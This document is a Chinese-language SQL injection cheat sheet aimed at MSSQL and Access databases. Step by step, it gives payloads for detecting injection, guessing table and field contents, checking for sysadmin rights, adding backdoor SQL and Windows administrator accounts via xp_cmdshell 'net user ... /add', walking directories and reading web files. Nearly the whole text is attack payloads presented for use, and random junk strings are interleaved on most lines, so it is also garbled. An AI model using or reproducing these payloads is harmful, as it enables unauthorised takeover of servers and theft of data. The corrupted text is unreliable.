1.判断是否有注入;and 1=1 ;and 1=2 aU@1j;se@
2.初步判断是否是mssql ;and user>0 DJ9x?SL@KD
/|lAxAm?
3.注入参数是字符'and [查询条件] and ''=' W4bN']?
;E,i
4.搜索时没过滤参数的'and [查询条件] and '%25'=' *
F_KOf9p
"jLC!h^N
5.判断数据库系统 dai+"
cvQAo|
;and (select count(*) from sysobjects)>0 mssql i{16&4 '
<xe_t=N
;and (select count(*) from msysobjects)>0 access Cg|\UKfy$
LIrebz
06M?ecN
|MOz>1<a
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ddN G:
DN iH" 0%
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 -L<FVB
-$X4RS
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 *U}ztH-+/
zkiwFEHA=
9.(1)猜字段的ascii值(access) !??g:2
80`$F{xcX
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 f7 |Tp m
"LSzF_mK
(2)猜字段的ascii值(mssql) -w>ss&
d"n"A?nXh
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Pf/8tXs}
0yvp>{;p
10.测试权限结构(mssql) :wN!E{0j
1+Uem
1J72*`4OK
*Hi}FI
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
Bnk'
>t<\zC|~w
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6`vW4]zu
m;A[2 6X
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- L^zh|MEyzk
E N CWOj
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- T--%UZD]W
awI{%u_(nA
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- CUHT5J*sY
bdY:-8!3
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- nt+OaXe5D
~A1!!rJX
;and 1=(select IS_MEMBER('db_owner'));-- m=+x9gL2
3<xDxj0<
>x3lA0m
+jK-k_
11.添加mssql和系统的帐户 IibYG F
,QpFVlPU
;exec master.dbo.sp_addlogin username;-- gWoUE7.3`
;exec master.dbo.sp_password null,username,password;-- <5,|h3]-#
]31=8+D
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Y9>92#aME
!%D';wQ,/
;exec master.dbo.xp_cmdshell 'net user username password ! nvg:$.&
x}nBUq:
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3kk^hvB+f
15q^&l[Q
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Ibu9AwPm
{~uTi>U
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- D,R',(3
b$%Kv(
E4>}O;m0
!_QT{H
12.(1)遍历目录 77y+ik
k& +gkJm
;create table dirs(paths varchar(100), id int) _ziSH 3(
dq`{fqGl
;insert dirs exec master.dbo.xp_dirtree 'c:\' 8e3eQ
K!.t}s.t
;and (select top 1 paths from dirs)>0 E>f{j:M
l)dE7$H
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) AWYlhH4c?t
>;'0ymG.`
SOOJq C
Je6wio-4
(2)遍历目录 qT !lq
`}KxzD
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- w/(c}%v}=
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )dqNN tS
mJ=V<_
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 \wk;Bo
@fJsRWvGq
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 CoNaGb
<R;wa@a>
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 DU$#tg}{
86N,04
:i4(cap&}F
k&%i+5X
13.mssql中的存储过程 IsE3-X|
kY'Wf`y(
xp_regenumvalues 注册表根键, 子键 Ie!&FQe2